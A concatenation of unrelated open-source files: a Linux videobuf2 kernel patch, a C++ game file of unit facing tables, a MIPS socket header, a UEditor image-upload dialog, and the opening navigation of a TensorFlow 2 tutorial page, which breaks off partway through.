From 0a554c41738980359eb40c11a754839e7e2686ff Mon Sep 17 00:00:00 2001 From: Thierry Escande <[email protected]> Date: Wed, 26 Oct 2016 10:52:05 +0200 Subject: [PATCH 05/24] MEMEKA: videobuf2-dc: Move vb2_dc_get_base_sgt() above mmap callbacks This patch moves vb2_dc_get_base_sgt() function above mmap buffers callbacks, particularly vb2_dc_alloc() and vb2_dc_mmap() from where it will be called for cacheable MMAP support introduced in the next patch. Signed-off-by: Thierry Escande <[email protected]> Signed-off-by: memeka <[email protected]> --- .../common/videobuf2/videobuf2-dma-contig.c | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/drivers/media/common/videobuf2/videobuf2-dma-contig.c b/drivers/media/common/videobuf2/videobuf2-dma-contig.c index d3a3ee5b597b..1150e83c9c8d 100644 --- a/drivers/media/common/videobuf2/videobuf2-dma-contig.c +++ b/drivers/media/common/videobuf2/videobuf2-dma-contig.c @@ -62,6 +62,28 @@ static unsigned long vb2_dc_get_contiguous_size(struct sg_table *sgt) return size; } +static struct sg_table *vb2_dc_get_base_sgt(struct vb2_dc_buf *buf) +{ + int ret; + struct sg_table *sgt; + + sgt = kmalloc(sizeof(*sgt), GFP_KERNEL); + if (!sgt) { + dev_err(buf->dev, "failed to alloc sg table\n"); + return NULL; + } + + ret = dma_get_sgtable_attrs(buf->dev, sgt, buf->cookie, buf->dma_addr, + buf->size, buf->attrs); + if (ret < 0) { + dev_err(buf->dev, "failed to get scatterlist from DMA API\n"); + kfree(sgt); + return NULL; + } + + return sgt; +} + /*********************************************/ /* callbacks for all buffers */ /*********************************************/ @@ -358,28 +380,6 @@ static const struct dma_buf_ops vb2_dc_dmabuf_ops = { .release = vb2_dc_dmabuf_ops_release, }; -static struct sg_table *vb2_dc_get_base_sgt(struct vb2_dc_buf *buf) -{ - int ret; - struct sg_table *sgt; - - sgt = kmalloc(sizeof(*sgt), GFP_KERNEL); - if (!sgt) { - dev_err(buf->dev, "failed to alloc sg table\n"); - return NULL; - } - - ret = dma_get_sgtable_attrs(buf->dev, sgt, buf->cookie, buf->dma_addr, - buf->size, buf->attrs); - if (ret < 0) { - dev_err(buf->dev, "failed to get scatterlist from DMA API\n"); - kfree(sgt); - return NULL; - } - - return sgt; -} - static struct dma_buf *vb2_dc_get_dmabuf(void *buf_priv, unsigned long flags) { struct vb2_dc_buf *buf = buf_priv; -- 2.20.1
{ "pile_set_name": "Github" }
/** * @file * * @author CCHyper * @author OmniBlade * * @brief Classes, types and functions related to managing the facings and directions of objects. * * @copyright Chronoshift is free software: you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation, either version * 2 of the License, or (at your option) any later version. * A full copy of the GNU General Public License can be found in * LICENSE */ #include "facing.h" #include <algorithm> #include <captainslog.h> #ifdef HAVE_STRINGS_H #include <strings.h> #endif uint8_t const FacingClass::s_Facing8[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; uint8_t const FacingClass::s_Facing16[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 0, 0, 0, 0, 0, 0, 0, 0 }; uint8_t const FacingClass::s_Facing32[256] = { 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 31, 31, 31, 31, 31, 31, 31, 31, 31, 0, 0, 0, 0, 0, 0 }; int8_t const FacingClass::s_Rotation16[256] = { 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, -8, -7, -6, -5, -4, -3, -2, -1 }; const char *FacingName[FACING_COUNT] = { "North", "North East", "East", "South East", "South", "South West", "West", "North West" }; const char *FacingNameAbbreviation[FACING_COUNT] = { "N", "NE", "E", "SE", "S", "SW", "W", "NW" }; BOOL FacingClass::Set_Current(DirType dir) { if (dir != m_Current) { m_Current = dir; return true; } return false; } BOOL FacingClass::Set_Desired(DirType dir) { if (dir != m_Desired) { m_Desired = dir; return true; } return false; } BOOL FacingClass::Rotation_Adjust(int adjust) { if (Has_Changed()) { DirType curr = m_Current; int diff = Difference(); adjust = std::min(adjust, 127); if (std::abs(diff) >= adjust) { if (diff >= 0) { m_Current += adjust; } else { m_Current -= adjust; } } else { m_Current = m_Desired; } return s_Facing32[m_Current] != s_Facing32[curr]; } return false; } DirType Desired_Facing8(int x1, int y1, int x2, int y2) { int xdiff = 0; int ydiff = 0; char dirtype = 0; xdiff = x2 - x1; if (xdiff < 0) { dirtype = -64; xdiff = -xdiff; } ydiff = y1 - y2; if (ydiff < 0) { dirtype ^= 0x40; ydiff = -ydiff; } unsigned int lower_diff; if (xdiff >= ydiff) { lower_diff = ydiff; ydiff = xdiff; } else { lower_diff = xdiff; } char ranged_dir; if (((unsigned)(ydiff + 1) >> 1) > lower_diff) { ranged_dir = ((unsigned)dirtype) & 64; if (xdiff == ydiff) { ranged_dir ^= 64; } return (DirType)(dirtype + ranged_dir); } return (DirType)(dirtype + 32); } DirType Desired_Facing256(int x1, int y1, int x2, int y2) { int8_t unk1 = 0; int x_diff = x2 - x1; if (x_diff < 0) { x_diff = -x_diff; unk1 = -64; } int y_diff = y1 - y2; if (y_diff < 0) { unk1 ^= 64; y_diff = -y_diff; } int s_diff; unsigned l_diff; if (x_diff != 0 || y_diff != 0) { if (x_diff >= y_diff) { s_diff = y_diff; l_diff = x_diff; } else { s_diff = x_diff; l_diff = y_diff; } unsigned unk2 = 32 * s_diff / l_diff; int ranged_dir = unk1 & 64; if (x_diff > y_diff) { ranged_dir = ranged_dir ^ 64; } if (ranged_dir != 0) { unk2 = ranged_dir - unk2 - 1; } return (DirType)((unk2 + unk1) & 255); } return DIR_NONE; } DirType Facing_To_Direction(FacingType facing) { return (DirType)(facing * 32); } FacingType Direction_To_Facing(DirType direction) { // SS // return SS_41B6C0(a1, 16) / 32; // return (FacingType)((uint8_t)((uint8_t)((unsigned)direction + 16)) / 32); return (FacingType)((((unsigned)direction + 16) & 255) / 32); } DirType Round_Direction_To_8(DirType dir) { return (DirType)(8 * ((dir + 16) / 8)); } DirType Round_Direction_To_16(DirType dir) { return (DirType)(16 * ((dir + 16) / 16)); } DirType Round_Direction_To_32(DirType dir) { return (DirType)(32 * ((dir + 16) / 32)); } DirType Round_Direction_To_64(DirType dir) { return (DirType)(64 * ((dir + 16) / 64)); } DirType Round_Direction_To_128(DirType dir) { return (DirType)(128 * ((dir + 16) / 128)); } FacingType KN_To_Facing(KeyNumType kn) { if (kn != KN_NONE) { switch (kn) { case KN_4: case KN_LEFT: return FACING_WEST; case KN_6: case KN_RIGHT: return FACING_EAST; case KN_8: case KN_UP: return FACING_NORTH; case KN_2: case KN_DOWN: return FACING_SOUTH; case KN_7: case KN_UPLEFT: return FACING_NORTH_WEST; case KN_9: case KN_UPRIGHT: return FACING_NORTH_EAST; case KN_1: case KN_DOWNLEFT: return FACING_SOUTH_WEST; case KN_3: case KN_DOWNRIGHT: return FACING_SOUTH_EAST; default: break; } } return FACING_NONE; } const char *Name_From_Facing(FacingType facing, BOOL abbreviated) { // captainslog_assert(facing != FACING_NONE); captainslog_assert(facing < FACING_COUNT); if (facing != FACING_NONE && facing < FACING_COUNT) { if (abbreviated) { return FacingNameAbbreviation[facing]; } return FacingName[facing]; } return "None"; } FacingType Facing_From_Name(const char *name) { captainslog_assert(name != nullptr); if (strcasecmp(name, "<none>") == 0 || strcasecmp(name, "none") == 0) { return FACING_NONE; } if (name != nullptr) { for (FacingType facing = FACING_NORTH; facing < FACING_COUNT; ++facing) { if (strcasecmp(name, FacingName[facing]) == 0) { return facing; } } } return FACING_NONE; } const char *Facing_Name_From_Direction(DirType dir) { FacingType facing = Direction_To_Facing(dir); if (facing != FACING_NONE && facing < FACING_COUNT) { return Name_From_Facing(facing); } return nullptr; } const char *Name_From_Direction(DirType dir) { // TODO rewrite this to correctly adjust negative directions switch (dir) { case DIR_NORTH: return "North"; //case -240: case DIR_NORTH_NORTHEAST: return "North-northeast"; //case -224: case DIR_NORTH_EAST: return "North east"; //case -208: case DIR_EAST_NORTHEAST: return "East-northeast"; //case -192: case DIR_EAST: return "East"; //case -176: case DIR_EAST_SOUTHEAST: return "East-southeast"; //case -160: case DIR_SOUTH_EAST: return "Southeast"; //case -144: case DIR_SOUTH_SOUTHEAST: return "South-southeast"; //case -128: case DIR_SOUTH: return "South"; //case -114: case DIR_SOUTH_SOUTHWEST: return "South-southwest"; //case -96: case DIR_SOUTH_WEST: return "Southwest"; //case -80: case DIR_WEST_SOUTHWEST: return "West-southwest"; //case -64: case DIR_WEST: return "West"; //case -48: case DIR_WEST_NORTHWEST: return "West-northwest"; //case -32: case DIR_NORTH_WEST: return "Northwest"; //case -16: case DIR_NORTH_NORTHWEST: return "North-northwest"; default: break; }; return "[Unsupported]"; }
{ "pile_set_name": "Github" }
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 1997, 1999, 2000, 2001 Ralf Baechle * Copyright (C) 2000, 2001 Silicon Graphics, Inc. */ #ifndef _ASM_SOCKET_H #define _ASM_SOCKET_H #include <asm/sockios.h> /* * For setsockopt(2) * * This defines are ABI conformant as far as Linux supports these ... */ #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 /* Record debugging information. */ #define SO_REUSEADDR 0x0004 /* Allow reuse of local addresses. */ #define SO_KEEPALIVE 0x0008 /* Keep connections alive and send SIGPIPE when they die. */ #define SO_DONTROUTE 0x0010 /* Don't do local routing. */ #define SO_BROADCAST 0x0020 /* Allow transmission of broadcast messages. */ #define SO_LINGER 0x0080 /* Block on close of a reliable socket to transmit pending data. */ #define SO_OOBINLINE 0x0100 /* Receive out-of-band data in-band. */ #if 0 To add: #define SO_REUSEPORT 0x0200 /* Allow local address and port reuse. */ #endif #define SO_TYPE 0x1008 /* Compatible name for SO_STYLE. */ #define SO_STYLE SO_TYPE /* Synonym */ #define SO_ERROR 0x1007 /* get error status and clear */ #define SO_SNDBUF 0x1001 /* Send buffer size. */ #define SO_RCVBUF 0x1002 /* Receive buffer. */ #define SO_SNDLOWAT 0x1003 /* send low-water mark */ #define SO_RCVLOWAT 0x1004 /* receive low-water mark */ #define SO_SNDTIMEO 0x1005 /* send timeout */ #define SO_RCVTIMEO 0x1006 /* receive timeout */ #define SO_ACCEPTCONN 0x1009 #define SO_PROTOCOL 0x1028 /* protocol type */ #define SO_DOMAIN 0x1029 /* domain/socket family */ /* linux-specific, might as well be the same as on i386 */ #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_BSDCOMPAT 14 #define SO_PASSCRED 17 #define SO_PEERCRED 18 /* Security levels - as per NRL IPv6 - don't actually do anything */ #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 /* Socket filtering */ #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP SO_TIMESTAMP #define SO_PEERSEC 30 #define SO_SNDBUFFORCE 31 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS SO_TIMESTAMPNS #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING SO_TIMESTAMPING #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS SO_WIFI_STATUS #define SO_PEEK_OFF 42 /* Instruct lower device to use last 4-bytes of skb data as FCS */ #define SO_NOFCS 43 #ifdef __KERNEL__ /** sock_type - Socket types * * Please notice that for binary compat reasons MIPS has to * override the enum sock_type in include/linux/net.h, so * we define ARCH_HAS_SOCKET_TYPES here. * * @SOCK_DGRAM - datagram (conn.less) socket * @SOCK_STREAM - stream (connection) socket * @SOCK_RAW - raw socket * @SOCK_RDM - reliably-delivered message * @SOCK_SEQPACKET - sequential packet socket * @SOCK_PACKET - linux specific way of getting packets at the dev level. * For writing rarp and other similar things on the user level. */ enum sock_type { SOCK_DGRAM = 1, SOCK_STREAM = 2, SOCK_RAW = 3, SOCK_RDM = 4, SOCK_SEQPACKET = 5, SOCK_DCCP = 6, SOCK_PACKET = 10, }; #define SOCK_MAX (SOCK_PACKET + 1) /* Mask which covers at least up to SOCK_MASK-1. The * * remaining bits are used as flags. */ #define SOCK_TYPE_MASK 0xf /* Flags for socket, socketpair, paccept */ #define SOCK_CLOEXEC O_CLOEXEC #define SOCK_NONBLOCK O_NONBLOCK #define ARCH_HAS_SOCKET_TYPES 1 #endif /* __KERNEL__ */ #endif /* _ASM_SOCKET_H */
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <script type="text/javascript" src="../internal.js"></script> <style type="text/css"> .wrapper{width: 600px;padding: 10px;height: 352px;overflow: hidden;position: relative;border-bottom: 1px solid #d7d7d7} .localPath input{float: left;width: 350px;line-height: 20px;height: 20px;} #clipboard{float:left;width: 70px;height: 30px; } .description{ color: #0066cc; margin-top: 2px; width: 450px; height: 45px;float: left;line-height: 22px} #upload{width: 100px;height: 30px;float: right; margin:10px 2px 0 0;cursor: pointer;} #msg{ width: 140px; height: 30px; line-height:25px;float: left;color: red} </style> </head> <body> <div class="wrapper"> <div class="localPath"> <input id="localPath" type="text" readonly /> <div id="clipboard"></div> <div id="msg"></div> </div> <div id="flashContainer"></div> <div> <div id="upload" style="display: none" ><img id="uploadBtn"></div> <div class="description"> <span style="color: red"><var id="lang_resave"></var>: </span><var id="lang_step"></var> </div> </div> </div> <script type="text/javascript" src="tangram.js"></script> <script type="text/javascript" src="wordimage.js"></script> <script type="text/javascript"> editor.setOpt({ wordImageFieldName:"upfile", compressSide:0, maxImageSideLength:900 }); //全局变量 var imageUrls = [], //用于保存从服务器返回的图片信息数组 selectedImageCount = 0, //当前已选择的但未上传的图片数量 optImageUrl = editor.getActionUrl(editor.getOpt('imageActionName')), optImageFieldName = editor.getOpt('imageFieldName'), optImageCompressBorder = editor.getOpt('imageCompressEnable') ? editor.getOpt('imageCompressBorder'):null, maxSize = editor.getOpt('imageMaxSize') / 1024, extension = editor.getOpt('imageAllowFiles').join(';').replace(/\./g, '*.'); /* 添加额外的GET参数 */ var params = utils.serializeParam(editor.queryCommandValue('serverparam')) || '', urlWidthParams = optImageUrl + (optImageUrl.indexOf('?') == -1 ? '?':'&') + params; utils.domReady(function(){ //创建Flash相关的参数集合 var flashOptions = { container:"flashContainer", //flash容器id url:urlWidthParams, // 上传处理页面的url地址 ext:editor.queryCommandValue('serverParam') || {}, //可向服务器提交的自定义参数列表 fileType:'{"description":"'+lang.fileType+'", "extension":"' + extension + '"}', //上传文件格式限制 flashUrl:'imageUploader.swf', //上传用的flash组件地址 width:600, //flash的宽度 height:272, //flash的高度 gridWidth:120, // 每一个预览图片所占的宽度 gridHeight:120, // 每一个预览图片所占的高度 picWidth:100, // 单张预览图片的宽度 picHeight:100, // 单张预览图片的高度 uploadDataFieldName: optImageFieldName, // POST请求中图片数据的key picDescFieldName:'pictitle', // POST请求中图片描述的key maxSize: maxSize, // 文件的最大体积,单位M compressSize:1, // 上传前如果图片体积超过该值,会先压缩,单位M maxNum:32, // 单次最大可上传多少个文件 compressSide: 0, //等比压缩的基准,0为按照最长边,1为按照宽度,2为按照高度 compressLength: optImageCompressBorder //能接受的最大边长,超过该值Flash会自动等比压缩 }; //回调函数集合,支持传递函数名的字符串、函数句柄以及函数本身三种类型 var callbacks={ selectFileCallback: function(selectFiles){ // 选择文件的回调 selectedImageCount += selectFiles.length; if(selectedImageCount) baidu.g("upload").style.display = ""; dialog.buttons[0].setDisabled(true); //初始化时置灰确定按钮 }, deleteFileCallback: function(delFiles){ // 删除文件的回调 selectedImageCount -= delFiles.length; if (!selectedImageCount) { baidu.g("upload").style.display = "none"; dialog.buttons[0].setDisabled(false); //没有选择图片时重新点亮按钮 } }, uploadCompleteCallback: function(data){ // 单个文件上传完成的回调 try{var info = eval("(" + data.info + ")"); info && imageUrls.push(info); selectedImageCount--; }catch(e){} }, uploadErrorCallback: function (data){ // 单个文件上传失败的回调, console && console.log(data); }, allCompleteCallback: function(){ // 全部上传完成时的回调 dialog.buttons[0].setDisabled(false); //上传完毕后点亮按钮 } //exceedFileCallback: 'exceedFileCallback', // 文件超出限制的最大体积时的回调 //startUploadCallback: startUploadCallback // 开始上传某个文件时的回调 }; wordImage.init(flashOptions,callbacks); }); </script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <!--[if IE 8]><html class="no-js lt-ie9" lang="zh-CN" > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="zh-CN" > <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Tensorflow JavaScript 闲聊对话模型 &mdash; 简单粗暴 TensorFlow 2 0.4 beta 文档</title> <script type="text/javascript" src="../../_static/js/modernizr.min.js"></script> <script type="text/javascript" id="documentation_options" data-url_root="../../" src="../../_static/documentation_options.js"></script> <script type="text/javascript" src="../../_static/jquery.js"></script> <script type="text/javascript" src="../../_static/underscore.js"></script> <script type="text/javascript" src="../../_static/doctools.js"></script> <script type="text/javascript" src="../../_static/language_data.js"></script> <script type="text/javascript" src="../../_static/js/tw_cn.js"></script> <script type="text/javascript" src="../../_static/js/pangu.min.js"></script> <script type="text/javascript" src="../../_static/js/custom_20200921.js"></script> <script type="text/javascript" src="../../_static/translations.js"></script> <script type="text/javascript" src="../../_static/js/theme.js"></script> <link rel="stylesheet" href="../../_static/css/theme.css" type="text/css" /> <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" /> <link rel="stylesheet" href="../../_static/css/custom.css" type="text/css" /> <link rel="index" title="索引" href="../../genindex.html" /> <link rel="search" title="搜索" href="../../search.html" /> </head> <body class="wy-body-for-nav"> <div class="wy-grid-for-nav"> <nav data-toggle="wy-nav-shift" class="wy-nav-side"> <div class="wy-side-scroll"> <div class="wy-side-nav-search" > <a href="../../index.html" class="icon icon-home"> 简单粗暴 TensorFlow 2 </a> <div class="version"> 0.4 </div> <div role="search"> <form id="rtd-search-form" class="wy-form" action="../../search.html" method="get"> <input type="text" name="q" placeholder="Search docs" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation"> <p class="caption"><span class="caption-text">目录</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../preface.html">前言</a></li> <li class="toctree-l1"><a class="reference internal" href="../introduction.html">TensorFlow概述</a></li> </ul> <p class="caption"><span class="caption-text">基础</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../basic/installation.html">TensorFlow安装与环境配置</a></li> <li class="toctree-l1"><a class="reference internal" href="../basic/basic.html">TensorFlow基础</a></li> <li class="toctree-l1"><a class="reference internal" href="../basic/models.html">TensorFlow 模型建立与训练</a></li> <li class="toctree-l1"><a class="reference internal" href="../basic/tools.html">TensorFlow常用模块</a></li> </ul> <p class="caption"><span class="caption-text">部署</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../deployment/export.html">TensorFlow模型导出</a></li> <li class="toctree-l1"><a class="reference internal" href="../deployment/serving.html">TensorFlow Serving</a></li> <li class="toctree-l1"><a class="reference internal" href="../deployment/lite.html">TensorFlow Lite(Jinpeng)</a></li> <li class="toctree-l1"><a class="reference internal" href="../deployment/javascript.html">TensorFlow in JavaScript(Huan)</a></li> </ul> <p class="caption"><span class="caption-text">大规模训练与加速</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../appendix/distributed.html">TensorFlow分布式训练</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/tpu.html">使用TPU训练TensorFlow模型(Huan)</a></li> </ul> <p class="caption"><span class="caption-text">扩展</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../appendix/tfhub.html">TensorFlow Hub 模型复用(Jinpeng)</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/tfds.html">TensorFlow Datasets 数据集载入</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/swift.html">Swift for TensorFlow (S4TF) (Huan)</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/quantum.html">TensorFlow Quantum: 混合量子-经典机器学习 *</a></li> </ul> <p class="caption"><span class="caption-text">附录</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../appendix/rl.html">强化学习简介</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/docker.html">使用Docker部署TensorFlow环境</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/cloud.html">在云端使用TensorFlow</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/jupyterlab.html">部署自己的交互式Python开发环境JupyterLab</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/recommended_books.html">参考资料与推荐阅读</a></li> <li class="toctree-l1"><a class="reference internal" href="../appendix/terms.html">术语中英对照表</a></li> </ul> <p class="caption"><span class="caption-text">目錄</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/preface.html">前言</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/introduction.html">TensorFlow概述</a></li> </ul> <p class="caption"><span class="caption-text">基礎</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/basic/installation.html">TensorFlow 安裝與環境配置</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/basic/basic.html">TensorFlow 基礎</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/basic/models.html">TensorFlow 模型建立與訓練</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/basic/tools.html">TensorFlow常用模組</a></li> </ul> <p class="caption"><span class="caption-text">部署</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/deployment/export.html">TensorFlow模型匯出</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/deployment/serving.html">TensorFlow Serving</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/deployment/lite.html">TensorFlow Lite(Jinpeng)</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/deployment/javascript.html">TensorFlow in JavaScript(Huan)</a></li> </ul> <p class="caption"><span class="caption-text">大規模訓練與加速</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/distributed.html">TensorFlow分布式訓練</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/tpu.html">使用TPU訓練TensorFlow模型(Huan)</a></li> </ul> <p class="caption"><span class="caption-text">擴展</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/tfhub.html">TensorFlow Hub 模型複用(Jinpeng)</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/tfds.html">TensorFlow Datasets 資料集載入</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/swift.html">Swift for TensorFlow (S4TF) (Huan)</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/quantum.html">TensorFlow Quantum: 混合量子-經典機器學習 *</a></li> </ul> <p class="caption"><span class="caption-text">附錄</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/rl.html">強化學習簡介</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/docker.html">使用Docker部署TensorFlow環境</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/cloud.html">在雲端使用TensorFlow</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/jupyterlab.html">部署自己的互動式 Python 開發環境 JupyterLab</a></li> <li class="toctree-l1"><a class="reference internal" href="../../zh_hant/appendix/recommended_books.html">參考資料與推薦閱讀</a></li> <li class="toctree-l1"><a class="reference internal" 